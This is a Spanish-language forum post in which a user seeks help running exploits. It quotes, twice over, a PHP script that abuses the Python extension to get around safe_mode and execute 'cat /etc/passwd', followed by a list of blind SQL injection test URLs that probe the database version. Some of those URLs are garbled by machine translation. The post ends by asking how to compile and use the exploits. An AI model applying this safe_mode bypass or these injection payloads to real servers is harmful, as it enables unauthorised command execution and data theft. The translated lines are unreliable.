Autor
una de las vulnerabilidades es esta:
1.- http://www.securityfocus.com/bid/29936/info (no pongo el exploit por que es largo, pero se muestra en la pestaña exploit de la pagina)
2.-http://www.securityfocus.com/bid/32902 el exploit que me das es este:
Citar
<?php
/*
php_python_bypass.php
php python extension safe_mode bypass
Amir Salmani - amir[at]salmani[dot]ir
*/
//python ext. installed?
if (!extension_loaded('python')) die("python extension is not installed\n");
//eval python code
$res = python_eval('
import os
pwd = os.getcwd()
print pwd
os.system('cat /etc/passwd')
');
//show result
echo $res;
?>
/*
php_python_bypass.php
php python extension safe_mode bypass
Amir Salmani - amir[at]salmani[dot]ir
*/
//python ext. installed?
if (!extension_loaded('python')) die("python extension is not installed\n");
//eval python code
$res = python_eval('
import os
pwd = os.getcwd()
print pwd
os.system('cat /etc/passwd')
');
//show result
echo $res;
?>
3.- luego tambien este es otro exploit que no logro entender:
Citar
http://www.example.com/demo/index.php?id=511 y substring (@ @ versión, 1,1) = 5
http://www.example.com/demo/index.php?id=511 and 1=1 http://www.example.com/demo/index.php?id=511 y 1 = 1
http://www.example.com/demo/index.php?id=511 and substring(@@version,1,1)=4 http://www.example.com/demo/index.php?id=511 y substring (@ @ versión, 1,1) = 4
http://www.example.com/demo/index.php?id=511 and 1=2 http://www.example.com/demo/index.php?id=511 y 1 = 2
http://www.example.com/demo/index.php?id=511 and 1=1 http://www.example.com/demo/index.php?id=511 y 1 = 1
http://www.example.com/demo/index.php?id=511 and substring(@@version,1,1)=4 http://www.example.com/demo/index.php?id=511 y substring (@ @ versión, 1,1) = 4
http://www.example.com/demo/index.php?id=511 and 1=2 http://www.example.com/demo/index.php?id=511 y 1 = 2
Por favaor quisiera que alguien me ayude como usarlo... estuve leyendo para la compilacion en c++ y esta probando pero no se como guardar ni como usarlo como ejecutable... alguna ayuda porfavor...
MUCHAS GRACIAS DE ANTEMANO....
En línea
